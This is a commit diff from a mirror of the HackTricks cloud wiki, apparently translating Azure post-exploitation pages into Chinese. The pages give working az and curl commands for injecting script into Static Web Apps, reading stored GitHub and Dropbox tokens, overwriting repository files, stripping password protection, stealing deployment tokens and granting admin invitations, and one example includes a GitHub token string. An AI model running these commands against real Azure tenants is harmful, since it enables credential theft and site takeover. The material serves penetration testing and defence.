mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az
This commit is contained in:
@@ -1,145 +0,0 @@
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"# {file_name}\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
def main():
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
output_file = os.path.join(tempfile.gettempdir(), "merged_output.md")
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"STM Cyber", # STM Cyber ads
|
||||
"offer several valuable cybersecurity services", # STM Cyber ads
|
||||
"and hack the unhackable", # STM Cyber ads
|
||||
"blog.stmcyber.com", # STM Cyber ads
|
||||
|
||||
"RootedCON", # RootedCON ads
|
||||
"rootedcon.com", # RootedCON ads
|
||||
"the mission of promoting technical knowledge", # RootedCON ads
|
||||
|
||||
"Intigriti", # Intigriti ads
|
||||
"intigriti.com", # Intigriti ads
|
||||
|
||||
"Trickest", # Trickest ads
|
||||
"trickest.com", # Trickest ads,
|
||||
"Get Access Today:",
|
||||
|
||||
"HACKENPROOF", # Hackenproof ads
|
||||
"hackenproof.com", # Hackenproof ads
|
||||
"HackenProof", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
"Hacking Insights:", # Hackenproof ads
|
||||
"Engage with content that delves", # Hackenproof ads
|
||||
"Real-Time Hack News:", # Hackenproof ads
|
||||
"Keep up-to-date with fast-paced", # Hackenproof ads
|
||||
"Latest Announcements:", # Hackenproof ads
|
||||
"Stay informed with the newest bug", # Hackenproof ads
|
||||
"start collaborating with top hackers today!", # Hackenproof ads
|
||||
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
|
||||
|
||||
"Pentest-Tools", # Pentest-Tools.com ads
|
||||
"pentest-tools.com", # Pentest-Tools.com ads
|
||||
"perspective on your web apps, network, and", # Pentest-Tools.com ads
|
||||
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
|
||||
|
||||
"SerpApi", # SerpApi ads
|
||||
"serpapi.com", # SerpApi ads
|
||||
"offers fast and easy real-time", # SerpApi ads
|
||||
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
|
||||
|
||||
"8kSec", # 8kSec ads
|
||||
"academy.8ksec.io", # 8kSec ads
|
||||
"Learn the technologies and skills required", # 8kSec ads
|
||||
|
||||
"WebSec", # WebSec ads
|
||||
"websec.nl", # WebSec ads
|
||||
"which means they do it all; Pentesting", # WebSec ads
|
||||
]
|
||||
|
||||
# Clean and merge .md files
|
||||
clean_and_merge_md_files(start_folder, exclude_keywords, output_file)
|
||||
|
||||
# Print the path to the output file
|
||||
print(f"Merged content has been saved to: {output_file}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
# Execute this from the hacktricks folder to clean
|
||||
# It will clean all the .md files and compile them into 1 in a proper order
|
||||
main()
|
||||
@@ -85,5 +85,11 @@ az keyvault secret delete --vault-name <vault name> --name <secret name>
|
||||
此权限允许主体从备份中恢复秘密。
|
||||
```bash
|
||||
az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
|
||||
```
|
||||
### Microsoft.KeyVault/vaults/keys/recover/action
|
||||
允许从 Azure Key Vault 恢复先前删除的密钥
|
||||
```bash
|
||||
az keyvault secret recover --vault-name <vault-name> --name <secret-name>
|
||||
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
```bash
|
||||
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
|
||||
```
|
||||
也可以通过以下方式**读取容器的输出**:
|
||||
也可以使用以下命令**读取容器的输出**:
|
||||
```bash
|
||||
az container attach --name <container-name> --resource-group <res-group>
|
||||
```
|
||||
@@ -150,7 +150,7 @@ az containerapp job update \
|
||||
```
|
||||
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
如果您可以创建一个新的 Container Apps Job(或更新现有的)并附加一个托管身份,您可以设计该作业以执行提升权限的有效载荷。例如,您可以创建一个新的作业,不仅运行反向 shell,还使用托管身份的凭据请求令牌或访问其他资源。
|
||||
如果您可以创建一个新的 Container Apps Job(或更新现有的),并附加一个托管身份,您可以设计该作业以执行提升权限的有效载荷。例如,您可以创建一个新的作业,不仅运行反向 shell,还使用托管身份的凭据请求令牌或访问其他资源。
|
||||
```bash
|
||||
az containerapp job create \
|
||||
--name <new-job-name> \
|
||||
@@ -169,9 +169,14 @@ az containerapp job create \
|
||||
|
||||
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
|
||||
|
||||
看起来拥有这些权限应该可以启动作业。这可以用来启动一个带有反向 shell 或任何其他恶意命令的作业,而无需修改作业的配置。
|
||||
看起来拥有这些权限应该可以启动一个作业。这可以用来启动一个带有反向 shell 或任何其他恶意命令的作业,而无需修改作业的配置。
|
||||
|
||||
我还没有设法让它工作,但根据允许的参数,这应该是可能的。
|
||||
我还没有成功使其工作,但根据允许的参数,这应该是可能的。
|
||||
|
||||
### Microsoft.ContainerInstance/containerGroups/restart/action
|
||||
|
||||
允许在 Azure Container Instances 中重新启动特定的容器组。
|
||||
```bash
|
||||
az container restart --resource-group <resource-group> --name <container-instances>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Static Web Apps Post Exploitation
|
||||
# Az - 静态 Web 应用程序后期利用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Azure Static Web Apps
|
||||
## Azure 静态 Web 应用程序
|
||||
|
||||
For more information about this service check:
|
||||
有关此服务的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,164 +12,153 @@ For more information about this service check:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).
|
||||
|
||||
The fllowing command create an snippet that will always be loaded by the web app::
|
||||
可以通过创建一个代码片段使静态网页加载任意 HTML 代码。这可能允许攻击者在 Web 应用程序中注入 JS 代码,并窃取敏感信息,例如凭据或助记密钥(在 web3 钱包中)。
|
||||
|
||||
以下命令创建一个将始终被 Web 应用程序加载的代码片段::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
--method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"properties": {
|
||||
"name": "supersnippet",
|
||||
"location": "Body",
|
||||
"applicableEnvironmentsMode": "AllEnvironments",
|
||||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||||
"environments": [],
|
||||
"insertBottom": false
|
||||
}
|
||||
}'
|
||||
```
|
||||
### 读取配置的第三方凭据
|
||||
|
||||
### Read Configured Third Party Credentials
|
||||
|
||||
As explained in the App Service section:
|
||||
如在应用服务部分所述:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.
|
||||
|
||||
运行以下命令可以**读取当前账户中配置的第三方凭据**。请注意,如果例如某些Github凭据配置在不同的用户中,您将无法从另一个用户访问该令牌。
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
```
|
||||
此命令返回 Github、Bitbucket、Dropbox 和 OneDrive 的令牌。
|
||||
|
||||
This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.
|
||||
|
||||
Here you have some command examples to check the tokens:
|
||||
|
||||
在这里有一些检查令牌的命令示例:
|
||||
```bash
|
||||
# GitHub – List Repositories
|
||||
curl -H "Authorization: token <token>" \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
https://api.github.com/user/repos
|
||||
|
||||
# Bitbucket – List Repositories
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
-H "Accept: application/json" \
|
||||
https://api.bitbucket.org/2.0/repositories
|
||||
|
||||
# Dropbox – List Files in Root Folder
|
||||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
-H "Authorization: Bearer <token>" \
|
||||
-H "Content-Type: application/json" \
|
||||
--data '{"path": ""}'
|
||||
|
||||
# OneDrive – List Files in Root Folder
|
||||
curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
|
||||
### Overwrite file - Overwrite routes, HTML, JS...
|
||||
|
||||
It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.
|
||||
可以通过 Azure 使用 **Github token** 发送请求来 **覆盖包含应用的 Github 仓库中的文件**,请求如下所示,指明要覆盖的文件路径、文件内容和提交信息。
|
||||
|
||||
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
|
||||
攻击者可以利用这一点基本上 **更改 web 应用的内容** 以提供恶意内容(窃取凭据、助记密钥...)或仅仅是 **将某些路径重新路由** 到他们自己的服务器,通过覆盖 `staticwebapp.config.json` 文件。
|
||||
|
||||
> [!WARNING]
|
||||
> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.
|
||||
|
||||
> 请注意,如果攻击者以任何方式成功入侵 Github 仓库,他们也可以直接从 Github 覆盖文件。
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
"commit": {
|
||||
"message": "Update static web app route configuration",
|
||||
"branchName": "main",
|
||||
"committer": {
|
||||
"name": "Azure App Service",
|
||||
"email": "donotreply@microsoft.com"
|
||||
},
|
||||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||||
"filePath": "staticwebapp.config.json",
|
||||
"message": "Update static web app route configuration",
|
||||
"repoName": "carlospolop/my-first-static-web-app",
|
||||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||||
},
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following:
|
||||
|
||||
通过此权限,可以**修改保护静态 Web 应用的密码**,甚至可以通过发送如下请求来取消对每个环境的保护:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"password": "SuperPassword123.",
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "AllEnvironments"
|
||||
}
|
||||
}'
|
||||
|
||||
|
||||
|
||||
# Remove the need of a password
|
||||
az rest --method put \
|
||||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
"name": "basicAuth",
|
||||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||||
"properties": {
|
||||
"secretUrl": "",
|
||||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||||
"secretState": "None"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
This permission allows to get the **API key deployment token** for the static app:
|
||||
|
||||
此权限允许获取静态应用的 **API 密钥部署令牌**:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
然后,为了**使用令牌更新应用程序**,您可以运行以下命令。请注意,此命令是通过检查**如何 Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) 工作**提取的,因为这是 Azure 默认设置使用的。因此,图像和参数在未来可能会发生变化。
|
||||
|
||||
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
|
||||
|
||||
1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`.
|
||||
2. Change the code you want to deploy
|
||||
3. Deploy it running (Remember to change the `<api-token>`):
|
||||
> [!TIP]
|
||||
> 要部署应用程序,您可以使用来自[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token)的**`swa`**工具,或按照以下原始步骤操作:
|
||||
|
||||
1. 下载仓库[https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(或您想要部署的任何其他仓库),并运行`cd react-basic`。
|
||||
2. 更改您想要部署的代码
|
||||
3. 运行部署(记得更改`<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
|
||||
>[!WARNING]
|
||||
> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token.
|
||||
> [!WARNING]
|
||||
> 即使您拥有令牌,如果**部署授权策略**设置为**Github**,您也将无法部署应用程序。要使用令牌,您需要权限`Microsoft.Web/staticSites/write`以更改部署方法以使用API令牌。
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action.
|
||||
拥有此权限后,可以**将静态Web应用的源更改为不同的Github存储库**,但是,它不会自动配置,因为这必须通过Github Action完成。
|
||||
|
||||
However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**.
|
||||
|
||||
In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`.
|
||||
但是,如果**部署授权策略**设置为**Github**,则可以**从新的源存储库更新应用程序!**。
|
||||
|
||||
如果**部署授权策略**未设置为Github,您可以使用相同的权限`Microsoft.Web/staticSites/write`进行更改。
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -179,117 +168,109 @@ az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
|
||||
--headers 'Content-Type=application/json' \
|
||||
--body '{
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
"properties": {
|
||||
"allowConfigFileUpdates": true,
|
||||
"stagingEnvironmentPolicy": "Enabled",
|
||||
"buildProperties": {
|
||||
"appLocation": "/",
|
||||
"apiLocation": "",
|
||||
"appArtifactLocation": "build"
|
||||
},
|
||||
"deploymentAuthPolicy": "GitHub",
|
||||
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
}
|
||||
}'
|
||||
```
|
||||
|
||||
Example Github Action to deploy the app:
|
||||
|
||||
示例 Github Action 部署应用程序:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
push:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
types: [opened, synchronize, reopened, closed]
|
||||
branches:
|
||||
- main
|
||||
|
||||
jobs:
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
build_and_deploy_job:
|
||||
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
|
||||
runs-on: ubuntu-latest
|
||||
name: Build and Deploy Job
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
steps:
|
||||
- uses: actions/checkout@v3
|
||||
with:
|
||||
submodules: true
|
||||
lfs: false
|
||||
- name: Install OIDC Client from Core Package
|
||||
run: npm install @actions/core@1.6.0 @actions/http-client
|
||||
- name: Get Id Token
|
||||
uses: actions/github-script@v6
|
||||
id: idtoken
|
||||
with:
|
||||
script: |
|
||||
const coredemo = require('@actions/core')
|
||||
return await coredemo.getIDToken()
|
||||
result-encoding: string
|
||||
- name: Build And Deploy
|
||||
id: builddeploy
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
|
||||
action: "upload"
|
||||
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
|
||||
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
|
||||
app_location: "/" # App source code path
|
||||
api_location: "" # Api source code path - optional
|
||||
output_location: "build" # Built app content directory - optional
|
||||
github_id_token: ${{ steps.idtoken.outputs.result }}
|
||||
###### End of Repository/Build Configurations ######
|
||||
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
close_pull_request_job:
|
||||
if: github.event_name == 'pull_request' && github.event.action == 'closed'
|
||||
runs-on: ubuntu-latest
|
||||
name: Close Pull Request Job
|
||||
steps:
|
||||
- name: Close Pull Request
|
||||
id: closepullrequest
|
||||
uses: Azure/static-web-apps-deploy@v1
|
||||
with:
|
||||
action: "close"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app.
|
||||
|
||||
通过此权限,可以**重置静态 Web 应用的 API 密钥**,可能会导致自动部署应用的工作流出现拒绝服务。
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role.
|
||||
|
||||
The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command:
|
||||
此权限允许**创建用户邀请**以访问静态 Web 应用程序中具有特定角色的受保护路径。
|
||||
|
||||
登录位于 `/.auth/login/github`(用于 GitHub)或 `/.auth/login/aad`(用于 Entra ID)这样的路径,用户可以使用以下命令被邀请:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
|
||||
--invitation-expiration-in-hours 168 # 7 days is max \
|
||||
--name my-first-static-web-app # Name of the app\
|
||||
--roles "contributor,administrator" # Comma sepparated list of roles\
|
||||
--user-details username # Github username in this case\
|
||||
--resource-group Resource_Group_1 # Resource group of the app
|
||||
```
|
||||
|
||||
### Pull Requests
|
||||
|
||||
